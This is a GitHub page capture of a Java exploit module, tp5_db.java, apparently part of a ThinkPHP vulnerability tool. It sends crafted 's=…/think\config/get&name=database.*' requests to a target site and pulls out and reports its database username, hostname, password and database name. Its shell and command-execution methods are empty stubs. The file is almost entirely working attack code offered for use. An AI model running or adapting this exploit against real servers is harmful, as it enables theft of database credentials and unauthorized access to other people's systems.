-
Notifications
You must be signed in to change notification settings - Fork 185
Expand file tree
/
Copy pathtp5_db.java
More file actions
executable file
·61 lines (56 loc) · 2.24 KB
/
tp5_db.java
File metadata and controls
executable file
·61 lines (56 loc) · 2.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package exploit;
import com.github.kevinsawicki.http.HttpRequest;
import util.BasePayload;
import util.Module;
import util.Result;
import java.util.ArrayList;
/**
* Author 莲花 2021/6/20
*/
public class tp5_db implements BasePayload {
@Override
public Result checkVUL(String url) throws Exception {
Module m = new Module();
String module = m.getModule(url);
ArrayList<String> payload_urls = new ArrayList<String>() {{
add(url + "/?s=" + module + "/think\\config/get&name=database.username");
add(url + "/?s=" + module + "/think\\config/get&name=database.hostname");
add(url + "/?s=" + module + "/think\\config/get&name=database.password");
add(url + "/?s=" + module + "/think\\config/get&name=database.database");
}};
try {
String username = HttpRequest.get(payload_urls.get(0)).body();
if (username.length() >= 20) {
username = null;
}
String hostname = HttpRequest.get(payload_urls.get(1)).body();
if (hostname.length() >= 20) {
hostname = null;
}
String password = HttpRequest.get(payload_urls.get(2)).body();
if (password.length() >= 40) {
password = null;
}
String database = HttpRequest.get(payload_urls.get(3)).body();
if (database.length() >= 20) {
database = null;
}
if (username == null && hostname == null && password == null && database == null) {
return new Result(false, "ThinkPHP 5.x 数据库信息泄露", "");
} else {
return new Result(true, "ThinkPHP 5.x 数据库信息泄露", "username:" + username + " hostname:" + hostname + " password:" + password + " database:" + database);
}
} catch (Exception e) {
e.printStackTrace();
}
return new Result(false, "ThinkPHP 5.x 数据库信息泄露", "");
}
@Override
public Result exeVUL(String url, String cmd) throws Exception {
return new Result(false, "", "");
}
@Override
public Result getShell(String url) throws Exception {
return new Result(false, "", "");
}
}